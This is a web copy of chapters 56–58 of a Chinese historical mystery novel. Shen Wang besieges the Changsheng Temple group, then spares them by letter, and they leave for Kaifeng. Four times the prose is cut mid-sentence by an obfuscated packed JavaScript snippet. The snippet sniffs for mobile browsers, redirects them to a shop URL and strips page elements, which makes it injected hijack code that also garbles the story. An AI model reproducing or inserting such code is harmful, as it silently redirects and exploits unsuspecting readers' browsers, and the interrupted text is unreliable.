孟威惊恐地张大了嘴，战栗的白气从他的唇齿间喷吐而出，他尚未来得及喊出声，头发便被晏回猛地揪住，刀刃贴着他的咽喉一旋，热血“噗呲”一声喷溅出来，如同在雪地中绽放的朵朵红梅。 一刀放血，一刀斩首，晏回拎起那颗面目全非的头颅，一扬手，“咚”地一声，落入温泉池中。 此正是：善恶终有报，天道好轮回。不信抬头看，苍天饶过谁。 沈忘并不知道这边厢的动向，他被虬髯大汉护在身后，透过逐渐稀释消散的黑雾，拼命寻找柳七的身影。 烟雾乍起之时，在孟威身畔的只有柳七。按照柳七的性子，虽然明知孟威恶贯满盈，可此刻他手无寸铁，身受重伤，是她的病人。医者仁心，她定会拼尽全力护他周全。更何况，孟威身上尚有更多秘辛亟待挖掘，柳七自是知道这个“证据”的重要性。 为了背后的真相，她向来不惜己身，若是那地府判官此刻对她动手……沈忘只觉遍体生寒，不顾人群的推挤，拼命向他印象中柳七所在的方向奔去。 影影绰绰地，他看到一个熟悉的身影躺在不远处的雪地上，身下是浓稠的血泊，几乎浸透了她的衣衫。 沈忘的心重重一沉，眼前的雪地与天空，一时倾倒过来，晕眩得他几欲作呕。那陡然而生的恐惧感，让他几乎神志尽丧，直到触到柳七平稳的鼻息时，他方才记得自己也是能够喘息的，颤抖着猛吸了一口气。 被漫天大雪涤荡过的空气，带着血腥味儿冲进肺部，沈忘终于找回了一丝清明。柳七身下骇人的鲜血并不属于她，而是来自一旁的无头尸身——孟威。 即使在极度的惊恐与惶惑中，沈忘的反应和理智依旧异于常人，可这并不代表，任何人都有这个本事。 只听一声近乎撕裂的咆哮声在耳畔炸开，这声音是如此之大，直如平地旱天雷。 在看到柳七的那一刻，虬髯大汉便双目赤红地悲嚎了一声，五官扭曲在一起，近乎疯狂地四下逡巡起来。 而他的这一喊，也让沈忘注意到那逐渐消散的黑雾尽头，有一前一后两个人影，正在发足狂奔。 是那个丫鬟！ 如有感应一般，那丫鬟忽地回头，也定定地向沈忘的方向看了过来。 沈忘只觉呼吸一滞，太像了，实在是太像了……那双眼睛，像极了哥哥沈念年轻时的模样。同样的倔强眉峰，同样不肯熄灭的火种，连嘴角那点若有若无的讥讽与冷漠，都和记忆里的沈念一模一样。只那一眼，沈忘便懂得，这女子是劝不住的，在她的面前，唯有两条路，死亡或是复仇，没有其余的选项。 怔愣之间，身旁的虬髯大汉却猛地抬起了手中的弩箭，向着女子的方向激射而出！ “等一下！”沈忘再想拦阻已是不及，箭锋所向，雪幕瞬时分散开，形成一道直扑女子心口的通路！ 千钧一发之际，一个人影挡在了晏回身前，替她重重挨了那一箭。 那弩箭来势极盛，钉在人影身上之后，顶着他后退数步，连带着身后的晏回，一道掼倒在地。沈忘只觉那两双人影纠缠在一处，在雪地上滚了数滚，腾起一团晶莹的雪雾。 沈忘正欲起身前去，心头却一紧，回首望向还昏睡在雪地中的柳七。赶紧扯下鹤氅将柳七紧紧裹住，护在怀中，吩咐虬髯大汉道：“放心，停云没事。莫要冲动，留活口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184855|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 就这短短数句话，大汉面色由极悲转至狂喜，鼻涕和着泪水一道，挂在高高扬起的嘴角之上，显得滑稽又狼狈。 “是！沈大人！” 待沈忘安顿好柳七，再急匆匆赶回来之时，只看到虬髯大汉正对着数名护卫大发脾气。他们面前的雪地上，尚残留着清晰的血迹，与数道翻滚的拖痕。最近处的角门四敞大开，一行大步疾奔的脚印依稀可见。 沈忘缓缓抬眸，看向角门外的莽莽雪原，圆月的银光洒泼其上，让那杳无人迹的雪地直如玻璃一般，冰冷，璀璨，澄澈，耀目得令人心惊。 “沈大人，我们该怎么办？”虬髯汉子低声问道。 “华不注山，长生观。”沈忘道。 * * * 背着范凌舟在雪地中跋涉的晏回踉跄了一下，她没有选择和唐珠儿、楚庸一行汇合，而是带着身受重伤的范凌舟绕路而行。相较于车马皆备，毫发无损的唐珠儿和楚庸，她与范凌舟更有暴露的风险。她决不能将危险带回长生观，宁可背着范凌舟翻越大雪纷飞中的山峦。 风刀霜刃严相逼，她额角的汗却混着雪水不住往下淌。背上的范凌舟越来越沉，粘稠的热血透过外裳，糊在晏回的后背上，随着时间流逝，逐渐冷硬，每走一步都剜着她的肌肤。听着耳畔传来的，范凌舟发颤的呼吸声，晏回只觉这一刻，她与范凌舟感同身受。 “西楼——”范凌舟的声音很轻，似乎还带着笑意。 “你说，话本子里的亡命鸳鸯，是不是就是你我此刻……这般窘态……”晏回听得出，此刻范凌舟每说一个字都提着气，生怕泄露出一丝一毫的痛楚呻///吟。 晏回咬了咬牙，用力将他地腿向上托了托。 “倒也……挺好……”范凌舟不易察觉地咝了一声，强笑道，“唐珠儿若是见了，只怕会追杀我到天涯海角，呵呵……咳咳……” 温和的笑声被剧烈的咳嗽声掩盖，背上的人极为痛苦地缩了一下身子，竭力将咳嗽声压了下去。 晏回只觉自己的心脏深处被狠狠扯了一下，第一次失却了冷静，懊恼道：“别说话了，留着些力气。” 范凌舟也罕见地住了口，老老实实地将下巴埋在晏回的肩窝里，竟是真的一言不发了。 似乎永远不会停息的大雪，认真而细致地填补着这世间一切空隙与角落，天地间除了白色，再无一物。没有色彩，没有温度，亦没有声音。耳畔，范凌舟虚弱的呼吸声在一片静寂中被无限地放大，和晏回的心跳声合在一处，成为这雪色月色交接处，唯一的生机。 呼——吸—— 呼——吸—— “快到了……”晏回咬紧牙关道。 她不愿意说“不准死”“坚持下去”这些毫无意义的话语，因为这些话在三年前的那场大火里，她已经说尽了。 她唯有从齿缝间挤出一句冷冰冰的—— “快到了……”很难说清，这一刻的话语，是说给晏回自己，还是背上那个永远笑着的大狐狸。 56. 不秋草（二十一） 长生观内堂的朱漆木门虚掩着，暖黄色的柔光中，来往人影不绝，面上皆不见笑意。范凌舟歪歪斜斜地躺在软榻上，里衣被剪开，露出左胸处弩箭造成的贯穿伤。箭杆虽已拔出，但伤口周围的肌肉都被震得发青。晏回动作极快地清理着伤口，指尖微微发颤。 噼里啪啦的脚步声在内堂炸响，跑动之人显然心急非常。 “臭狐狸！”唐珠儿在床榻前急停，瞅着范凌舟半晌，憋出一句哽咽，继而嚎啕大哭起来。 虽说二人平时看起来水火不容，斗嘴不停，她也时常生气对方抢走了晏回姊姊的关注，可此时的唐珠儿甚至愿意将晏回姊姊借给他几日，只要他…… “你真的好吵啊……”范凌舟费力地抬了抬眼，露出一个促狭的笑：“你应该庆幸我没死，要不然第一个托梦吓你。” ——他还是死了好！唐珠儿心里忿忿地骂道。 晏回无暇理会二人的拌嘴，在伤口上厚敷着金疮药，又用消毒过的绷带一圈又一圈地缠紧：“差一点就伤到了心脉，好在箭上没毒。” 晏回严肃地睨了范凌舟一眼，对方还在笑，那笑容就如同长在他的脸上一般，让人看着生不起气来。 “可是你若再动一下，伤口崩裂，便是华佗再世也回天乏术了。” 这句话在范凌舟听来不是威胁，反而动听得很，他笑得更开心了。 唐珠儿不愿与病人计较，再一次大度地走上前，提议道：“姊姊，那以后我天天做饭给臭狐狸吃，他就好得快些了。” “可别！”范凌舟立时拒绝道：“那还不如让我死了好。” “我现在就杀了你！”唐珠儿以雷霆之势扑了过来，也只是在范凌舟脑袋上方张牙舞爪了一番，便偃旗息鼓，气鼓鼓地坐在床沿上，不愿再理他，却也不愿走。 晏回净了净手，红褐色干涸的血污随着水流剥落下来，露出内里苍白到几无血色的肌肤。她凝视着盆中逐渐染红的血水，听着范凌舟和唐珠儿有一搭没一搭的争吵，悬在半空的心终于缓缓落回胸腔之内。 “呼——”她不易察觉地，长长地吁出一口气。 突然，内堂的门被猛地推开了，楚庸急匆匆地冲了进来。先是看了一眼床榻上歪靠着的范凌舟，咽了口唾沫，赶紧放慢了步子，走到晏回身旁耳语到：“晏姑娘，山下来了很多人，很多。” 晏回眸子倏地睁大，有些不可置信地看向楚庸。 楚庸再次毋庸置疑地点了点头。 晏回快步走出内堂，迎着风雪向山门处走去。 站在至高处向下望去，只见漫天大雪中，数不清的火把像一条蜿蜒迤逦的火龙，从山脚一直爬到半山腰，火光映红了半边天。前山，后山，皆有人声，粗略估计恐有数百人之众。晏回目力惊人，只是一眼她便认出了那骑着一头青驴行在最前的人——沈忘。 他宛若一道阴魂不散的影子，每当她认为自己甩脱了他的纠缠，不知何时他又重新站到了她的身后。她有些懊悔没有早些杀掉他，可自己又的确没有更多更充分的证据，证明他是如自己所猜度的那般鹰巢走狗。他似乎永远游离于黑暗之外，又潜藏于黑暗之中。哪怕是今时今日，晏回也无法确定他真实的动机，判别他所属的阵营。 他究竟是何时猜度到，她们隐藏的准确地点呢？ 晏回紧蹙着眉，直到那虬髯大汉的脸冲入自己的脑海。那炸雷般地悲鸣化作一道白光，瞬时串联起所有零散的记忆。 如果说，那个来劫囚的大汉本就是沈忘派来的人，那一切便都说得通了！ 明明是沈忘画出了珠儿的小像，也是他做主拘捕了芙蓉街周边同珠儿相像的无辜女子，可偏偏又是他，安排手下，私放女囚……难道，这一切本就是他为了找到自己的据点而设下的圈套！ 与鹰巢缠斗许久，终究是碰上了值得一战的对手。 晏回咬着牙，冷笑道：“不愧是沈按察，好心机，好谋划！” 她转头对一旁紧张的楚庸道：“楚兄，你和珠儿立刻带着观中老幼到密道入口集合，观中多是不善战之辈，若是被彻底包围，只怕死伤惨重。” 楚庸连连点头，又急忙问道：“那你呢，范……范道长呢？” “先去。”晏回没有回答他，只是定定凝着楚庸的眼睛，不容置疑地命令道。 魁首之令，重逾千钧。 “是……” * * * 再回到后堂，唐珠儿已经不见了，只剩下范凌舟还躺在榻上，半眯着眼睛，脸上还挂着笑，似乎很享受此刻的闲暇与安静。可晏回知道，他已然是强弩之末，如同布满裂纹的瓷瓶，再也受不得丁点儿磕碰。 “范无鱼——”晏回缓步走到榻边，尽可能平静地开口道。 “我不同意。”微微合拢的眼帘倏地睁开，范凌舟笑着打断，仿佛拒绝一个不好笑的笑话。 “我只是受伤了，不是死了。”范凌舟有些费力地正了正身子，好整以暇地靠在瓷枕上，“楚兄跟你说的话，我字字句句听得清晰。你知道的，我耳朵灵着呢！” 他竖起食指，敲了敲自己的耳廓，颇有些自得的样子。 晏回没有笑：“这件事不需要你同意，我——才是魁首。你再留在观中，反而让我束手束脚，难得施展。你同珠儿他们尽快撤离，这是命令。” “好好好——”范凌舟好脾气地眯了眯眼睛，“我们西楼是魁首。可你怕是忘了，我才是观主啊——”尾音拉得很长，却让晏回的怒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184856|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意节节攀升。 “范无鱼，我没有时间同你讨价还价！” “我没有在讨价还价。我需要留在观里，我也只能留在观里，我留下——才是最合适的选择。西楼，你有没有想过，就算我同珠儿他们逃了，以我的伤势，能坚持多久？队伍中皆是老弱之辈，我是否又会成为他们的负担？我不想死，但我也不想害别人死。”与晏回的愤怒相比，范凌舟却是出乎意料得平和。 “西楼，你还有大仇未报，长生观还需要你。” “两手空空之人，何谈需要？”晏回下意识怼了回去，却惊讶地发现，那双一直笑意弯弯的眸子冷了下来，甚至隐含怒气，她从未见过这样的范凌舟。 ——两手空空，又是这句屁话！ 垂着的手腕，突然被人用力捉住。范凌舟拉着她的手，重重按在自己的心窝上。若不是晏回警觉，及时收了力，只怕这一碰，伤口便要崩裂开来，危及生命。 “范无鱼！” 范凌舟不闪不避，两个人就这样保持着角力的姿势，互不相让地拉扯着。 “两手空空？你何曾两手空空！你什么时候才能睁眼看看，你手中的是什么！” 晏回怔怔地垂眸，看向自己微颤的指尖。她手中的是什么？是那一圈圈绷带下，依旧跳动的，范凌舟沁血的心。 一股热血冲上脸颊，晏回缩回了手。她转过身，静静地在范凌舟的床沿边坐下，留给他一个不动声色的背影。 “那我们一起留下。” “可是……” 晏回的手倏地攥紧，拳头狠狠按在膝盖上：“没有可是，我不会让你孤身送死。” 灯影摇荡间，雪落无声。距离那数百人彻底攻入长生观，不过寸许之间。晏回知道，她要尽一切可能，为密道中逃跑的老弱争取时间。珠儿和楚庸带走了目前为止，探查出的鹰巢的全部资料。但凡有一丝希望，她们也会代她，报仇雪恨。 不能手刃仇人确是人生一大憾事，可楚庸和珠儿的出逃至少能带给她无限的希望。可是那人…… 晏回微微垂眸，用余光瞟向身后的男子。 他还歪靠在瓷枕上，用完好的右臂撑着下颌，似笑非笑地看着她。晏回对于窥视的眼神一向警觉，可即便被范凌舟默默注视了这么久，她也依然没有产生什么不适之感。仿佛，他本就该如此……他本就该立于她的身后，不弃不离…… 晏回心中涌起一股复杂的情绪，垂首望向自己还在颤抖的双手。 指尖上有一点殷红的血渍，如梅立雪，夺目惊心。那是刚刚在拉扯间，无意中触碰到范凌舟染血的绷带而擦蹭上的，直到此时她方才发觉。 “范无鱼，我……”她嘴唇翕动了数下，终于开口。 57. 不秋草（二十二） “砰”的一声巨响，内堂西侧的角门被猛地撞开，风雪裹挟着刺骨的寒气扑进来，吹得烛火剧烈摇晃，在墙上投下凌乱的影子。 唐珠儿冲得太急，一个趔趄扑倒在晏回的脚下，差点儿磕到鼻子。 “阿姊，珠儿……来保护你了！” 晏回眸子倏地睁大，还未来得及说话，角门处又扑进来一人，正扶着门框大口喘气，正是楚庸。 二人的靴子上沾满了泥雪，裤腿被冻得硬邦邦的，狼狈不堪。 身后的范凌舟也被这场景惊住了，可不过片刻，他便噗嗤笑出了声。 “得，人齐了。” “观里其他人呢？”晏回急忙追问道。 “晏姑娘你放心，密道出口我们用石头封死了，山坳的破庙能挡风雪，老弱都有干粮，我也用信鸽请了竹帖，往日里受过恩惠之人，定然会前往破庙救急。我和珠儿姑娘……不能让你和范道长独自拼命！便是死……大家也得死在一处。” “呸呸呸！”唐珠儿跳着脚道，“大战在即，别死死死的，多不吉利！别人我不管，反正——”她凌空一指，手指差点儿戳到范凌舟的鼻尖儿，“他得死在我手里。” “行啊，我就躺在这儿，命等你来取——”范凌舟讥讽地扬了扬嘴角，冲唐珠儿挑衅地一眨眼。 唐珠儿“哇呀呀”地大喊了一声，还没起跳就被晏回猛地按住。 “既然回来了，所有人听我安排。”晏回深吸一口气，压下心头翻涌的情绪，冰凉的掌心微微泛着暖，似乎在这一刻，她的手中包裹着一团跳动的火。“我们人少，不可分散，只能死守内堂。老弱既已撤走，密道也已封死，我们唯有孤注一掷，拼死一战。” “若能撑到天亮，我们……就还有一线生机。” 众人脸上尽是肃重之色，连范凌舟都罕有地敛了笑意，唐珠儿也在一旁直咬嘴唇，妄图撕掉唇上那一小片因为干裂而硬挺的皮。和楚庸不同，她追随晏回的时间很长，明白晏回口中“天亮”的意义。 若是能撑到天明，曾经受过长生观恩惠的苦主们便会依照承诺——他日若有差遣，须倾力而为，万不可有半分推诿，哪怕沈忘再是难缠，也定能有所转圜。这便是晏回所谓——请竹帖。前些日子，那些伪造的拳毛騧便是竹帖“请”出来的。可是，这一切终究需要时间……唐珠儿第一次在兴奋之外，隐隐感到了紧张。 ——也许这一次，真的要和晏回姊姊“永远”在一起了…… 晏回依旧在冷静地布置着任务，长生观中机关众多，若是机关尽开，应该能撑上一段时间，她没有余暇关注珠儿投过来得痴痴的目光。 范凌舟倒是看见了，他从鼻腔中不咸不淡地哼了一声，翻了个白眼，移开了视线。 观外风急雪恶，大有将整个道观吞没之势，透过窗户，已能隐隐窥见火光。这场罕见的大雪阻挡了沈忘一行的攻势，若是寻常夜晚，只怕这数百人早已攻入观中了。 “楚兄，去外面看看他们到哪儿了。”晏回吩咐道，又想起了什么，紧缀上一句：“千万小心。” 楚庸郑重点头，转身便冲入风雪之中。 似乎过了一个时辰，又似乎只有一个转瞬，楚庸便赶了回来，脸上尽是疑惑。 “如何？” “他们……停了。” “停了？”还在闭目养神的范凌舟睁开眼，“楚兄，停了是什么意思？” “他们停在道观下方一处山崖上，既不前进，亦不后退，就那样……候着……” “这有什么意思不意思的？就是停在半山腰吃个饭，吃饱了再一鼓作气攻上来呗！”唐珠儿道。 “你以为所有人都是你啊，还吃个饭……”范凌舟无奈叹了口气，对晏回道：“西楼，你觉得呢？” 晏回紧蹙着眉思索了一会儿，推门而出。 此刻的雪大得如同扯碎的棉絮，劈头盖脸地扑在人身上，让人睁不开眼睛。晏回轻手轻脚地摸上山头，居高临下地望下去。只见半山腰的山崖上，数百人的队伍齐齐展开，铺满了整片空地。每个人手里的火把都举得笔直，橙红的光晕开淡淡的雾，如同一片蓄势待发的浪。 晏回看得出来，这里的士兵和孟威手下那帮少爷兵不同，个顶个的训练有素，甚至……某些人饱经沧桑的脸上，竟是依稀有着山匪水贼的影子。这沈忘究竟是什么来头，手下竟有如此悍勇之士。只怕这数百人一齐攻上来，自己便是再有十倍的人手，也是难以招架。晏回的心不由重重一沉。 队伍最前方，沈忘正站在青驴旁。鹤氅的下摆沾了厚厚的雪，边缘凝结了一层薄冰。他怀里抱着个铜制暖炉，双手拢在上面，冻得脸色发青，眸子却依旧亮得惊人。暖炉的白气从他指缝里钻出来，刚飘到半空就被风雪卷得无影无踪。 他究竟想要做什么？为什么不趁着风雪攻上来，打我们一个措手不及？他们人数已经足够多，难道还需要等待援兵吗？ 晏回从来没有见过这样的对手，他的出招亦或是收势，每一步都跳脱于她的掌控之外，让她不知该如何应对。甚至于直到今日，她都无法确认他究竟是黑还是白，亦或者两者兼而有之。 从现在这个位置，晏回能清晰无匹地看到沈忘，而沈忘因为角度的问题极难注意到她。如果在此时，居高临下，张弓搭箭……那取其性命，易如反掌。 可是……晏回犹豫了，她还记得自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184857|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己同范凌舟冲出角门时，沈忘情急之下大喊出的一句：等一下！ 他在等什么？此刻的自己，又在等什么？ 犹豫良久，晏回缓缓矮下身子，在风雪的遮蔽下，返回观中。 晏回推门而入，屋内的数道目光，齐齐汇聚在她的身上。 “晏姑娘，如何？打……还是不打？” “他们不打，咱们就打啊！观里还有几桶火油，管他三七二十八的，先扔下去再说啊！” “可我总觉得哪里有些不对劲。” “又没让你上，前怕狼后怕虎的，你这只臭狐狸就好好躺着，杀人越货的事儿我来！” 晏回始终没有说话，静静地走回到圆桌前，径自坐了下来。 “晏姑娘？”楚庸疑惑道。 “阿姊？”唐珠儿也是丈二和尚摸不着头脑。 范凌舟看了看晏回古井无波的侧脸，垂眸细思片刻，就好整以暇地躺回到床上，吁了一口气：“看来，咱们只有等了。” 烛泪滴了又干，干了又落，窗外的风雪却依旧没有停歇的意思。唐珠儿在堂内踱来踱去，时不时凑到窗边扒着缝隙往外看，嘴里嘟囔着：“这沈忘搞什么鬼？冻成冰棍儿也不动手，难道是想等咱们主动投降？” 晏回坐在圆桌旁，指尖无意识地摩挲着桌角的木纹。她吩咐楚庸每半个时辰出去探查一次，楚庸每次回来都带来同样的消息：“沈忘的队伍还在山崖上，火把没灭，人数没变，没人动。”他说话时呵出的白气在冷空气中散开，眉头拧成了疙瘩，“他们就像……就像在守着什么，不是在等进攻的时机，倒像是在等天亮，就像……”楚庸歪着头，字斟句酌道，“……我们一样。” “雪霁日出雾岚开，江山万里净无埃。说不定这位沈按察好雅兴，欲与你我共赏这日照金山之盛景呢！”范凌舟疼得额角渗汗，口中却依旧调侃不迭。 唐珠儿看了晏回一眼，难得的没有怼回去，只是双唇翕动，无声地咒骂了两句。 时间似乎被观外的风雪冻住，过得极慢。也不知过了多久，一丝悠然明快的白光扑窗而入，投射的光斑正照在靠着墙根抱着膝盖睡着的唐珠儿眼皮上。 唐珠儿猛地惊醒，揉着眼睛喊：“天亮了？阿姊，天亮了！” 晏回立时起身，快步走到门口，推开殿门。刺骨的寒气扑面而来，但是雪已经停了。 而那座让她忌惮了一整夜的山崖上——空空如也。 没有火把，没有人影，只有厚厚的积雪覆盖着地面，隐约可见一些凌乱的脚印和火把烧过的灰烬，证明昨夜那数百人的队伍确实存在过。风卷着雪粒掠过山崖，发出呜咽般的声音，仿佛什么都没发生过。 58. 不秋草（二十三） 突然，山下传来一阵“哒哒”的蹄声——不是马蹄的清脆，而是黄牛特有的厚重闷响，在雪后寂静的山林里格外清晰。 晏回神色一凛，后撤一步，手已瞬时按到腰际。此时，唐珠儿和楚庸也紧随其后冲了出来，皆虎视眈眈地盯着那条延伸而上的山路。 不多时，一对儿尖尖的牛角抢先露了出来，紧接着是硕大的牛头，厚重壮实的身躯，以及牛背上坐着的瑟瑟发抖的青年男子。 他披着蓑衣，戴着帽笠，手中揣着汤婆子，却还是一边打着哆嗦，一边抱怨不停：“冻死了……这种天气让人上山……真是……” 话音啰嗦到一半儿便停住了，青年看着雪地上立着的长生观诸人，略一怔愣，继而便开朗地挥起手来：“诸位好！” 晏回、唐珠儿、楚庸面面相觑，互相对望了一眼，皆从对方的眼中看出一句：这人谁啊？ 楚庸当先走了上去，挡在黄牛前，谨慎地一拱手，沉声道：“此处乃长生观地界，施主冒雪而来，可是为上香祈福？” “不是啊”，青年大喇喇地扯着嘴角，似乎全然没有注意到三人的戒备之色，“我是来送信的。” “送信？” “哝——”青年一扬手，从怀中掏出一封信塞给楚庸，“刚才你说长生观是吧？那就没错了，给你们的！” 楚庸一脸疑惑地接过信封，鲜红的蜡封上面印着沈忘的私章，一个小小的“沈”字，棱角分明。 “这是——”还不待他发问，那青年却忙不迭地挥了挥手，扯着黄牛的缰绳就往山下走，一边走还一边喊着，“不用送不用送！” 黄牛驮着青年，蹄印在雪地上留下一串深浅不一的坑，很快消失在晨雾里。 这一连串的事情发生得太快，楚庸还没反应过来，只是半张着嘴，拿着信，遥望着青年离去的方向。晏回走上前来，蹙眉挑开蜡封，迎风展开素笺。一行行簪花小楷娟秀清丽，跃然纸上。 “长生观诸公亲启： 昨夜大雪封山，诸公与忘隔崖对峙，皆未先动。是心照之契，亦是肝胆之敬。忘敬诸公除恶务尽而不伤无辜之仁；诸公亦当信忘守正如朗月悬空之诚。 今次某放诸公归去，非为纵容，实为惜诸公义骨铮铮，不忍见其摧于风雪。唯此一回，望诸公明之。 然君子立身，当守其节。国法者，天下之公节也，私刑虽快，终损公义。此后若复有私刑，某必以国法绳之，万望诸公审之，慎之。 雪霁之时无忧手书 ” 薄薄的一封素笺似有千钧之力，晏回阅之良久，方缓缓抬头。此时，山岚尽散，苍穹如洗，昨夜风雪，尽成幻梦，唯见山河澄澈，昭昭天明。 * * * 青墩儿的蹄子踩在融雪的泥路上，发出“噗嗤噗嗤”的闷响，楚庸赶着牛车沿山路一直向下，逐渐转入人声鼎沸的街市。 车厢内，范凌舟裹着厚毛毯，手中捧着热气腾腾的汤婆子，缩在车厢一角，脑袋靠在车厢壁上，随着青墩儿的步伐微微摇晃着，眼神却止不住地飘向车窗外越来越远的长生观轮廓。 长生观的朱漆大门紧紧闭着，门环上挂着铁锁，匾额上黑漆描金的“长生观”三字依旧熠熠生辉，却再也不见昔日善男信女们焚香祈福的身影。 “哎——”一旁的唐珠儿也跟着范凌舟的目光望了过去，长长地叹了一口气，“好好的道观，说关就关……你说，那沈忘是长了狗鼻子吗？怎地就能让他找着了？我到如今也想不明白，咱们一向狡兔三窟，怎么能让他发现了端倪？” 范凌舟闻言，双手合十道：“天地者，万物之逆旅。光阴者，百代之过客。观中松竹，皆为道影；檐下烛火，尽是缘光。聚散无常，心守一念，观即在；身行千里，道不离。无量天尊——” “一天天的就是屁话多……”唐珠儿恶狠狠地瞪了他一眼，转头向晏回看去，“姊姊，你说是也不是？” 晏回微微垂下眼帘，手掌在唐珠儿的手背上轻拍了两下。唐珠儿想不明白的问题，她在那个对峙的雪夜早已想得清清楚楚。可是，她总不能直白地对视若姊妹的唐珠儿说，沈忘就是因为跟踪你，才发现了我们的藏身之所。那估计这小丫头接下来的日子，都要夜不能寐了。晏回只能掩下不表，日后再教训唐珠儿不可冲动行事了。 范凌舟眯着眼睛，朝晏回的脸上一瞟，便已猜出了七八分，接过话头道：“行啊，那贫道就说些你这不读书不识字的小丫头能听懂的。事到如今，再推敲沈忘是如何发现的道观的，已经毫无意义。那沈忘亦正亦邪，只怕对于鹰巢来说，亦是棘手至极之人。” “孟威死后，一面他以山贼杀人越货结案，算是彻底洗清了观里的案底，也变相地保护了观中老弱；另一面，他逼得敖远调任，远赴河南做了开封府知府加授承宣按察使司副使，可见济南府的鹰巢爪牙尽除，我们再留在济南府，倒也无甚意义。” “吼——”唐珠儿发出一声小兽般地吠叫，“听你这意思，你是信了那沈忘？” “信与不信又有何妨，”范凌舟好整以暇地将身体靠在椅背上，不断袭来的疼痛让他嘴唇发白，可嘴角还噙着笑，“但他的确是与寻常的狗官不一样。” “可是，咱们去哪儿能找到长生观这么好的地界啊！背山面水，密道还多，接竹帖也方便……怎么想都觉得是咱们亏了……”唐珠儿还是耿耿于怀。 晏回凝了少女一眼，淡淡道：“船到桥头自然直，总有地方可去的。” 此时，晏回心中已然有了计较。开封府下辖的郑州汜水县有一座浮戏山，汜水出于其上，峰峦秀丽，潭泉遍布，山中有一玉仙元君祠，或可成为另一处“长生观”。而之前散落各地的苦主和观中老弱，只要循着济南府布庄留下的暗记，自然可以顺藤摸瓜找到开封，继而寻到那处玉仙元君祠；而自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184858|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也可以跟着避祸至开封府的敖远，一步步摸到蜮公的边儿。 正自想着，却听到一旁的青杳“哎呀”叫出声来。青杳是最早一批从山下赶回来的人之一，因着同唐珠儿和晏回的亲密，也被请到牛车上就坐。 “你们瞧，那不是……薛世茂吗？”青杳五指按在车窗木框上，有些不可思议道。 众人顺着她指的方向望去，只见街角墙根下，一个穿着锦袍的青年蜷缩在融雪的泥水里，头发散乱地贴在额角，脸上沾着酒渍和尘土，腰间的玉佩歪歪斜斜挂着，早已失了往日的温润光泽。他怀里还抱着个空酒壶，时不时含糊哼唧两声，像只被雨打湿的雀儿，狼狈又可怜。 青杳的眸光颤了颤，声音不自觉地低了下去：“他父亲虽是……可如今见他这般模样……”话未尽，却已带了几分复杂的怜悯。那仇怨压在心头多日，可看着眼前这个曾经众星捧月的贵公子沦落到这般境地，她竟生不出半分快意。 “啧，晦气。”唐珠儿揉了揉鼻子，虎着脸坐回车厢中。 “昨日朱门宴客，今日路边醉卧。世事本就如此无常，青杳姑娘无需挂怀。”范凌舟微微一笑，并未放在心上。 晏回微微倾身，掀开厚重的棉帘，循着街市伸展的方向回望过去。她的目光落在薛世茂的身上，眉头几不可察地蹙了一下，眼底掠过一丝极淡的波澜，却又很快归于平静。 薛世茂似乎感应到什么，浑浊的眸子缓缓上移，透过迷蒙的酒气，原本涣散的瞳孔猛地收缩，像是抓住了救命稻草般，挣扎着想要爬起来，却又重重摔回泥地里。只见他伸长手臂，声音嘶哑又急切：“晏兄……是你吗？晏兄！” 就在此时，一个穿着青布裙袄的女子快步挤过人群，稳稳地扶住了薛世茂仓皇无措的手臂——正是薛灵犀。她身材瘦弱，想要用力拽起比自己高两个头的弟弟已是难事，此时薛世茂又醉得七荤八素，辨不清南北东西，拉了数次，差点儿把薛灵犀也拽倒在地。 “世茂！你看看你如今像什么样子！”薛灵犀气得浑身发抖，可看到弟弟满身酒气、狼狈不堪的样子，眼圈瞬间红了，只得强压泪意，厉声呵斥着。 薛世茂却不管不顾，依旧朝着晏回的方向伸着手，嘴里反复叨咕着：“阿姊……我没看错……是晏兄……我有话要跟他……” “啪”地一声脆响，薛世茂的脸上挨了重重一个耳光，将他打得整张脸都偏了过去。 薛灵犀牙关紧咬，声音里带着哭腔：“哪来的什么晏兄！跟我回家！” 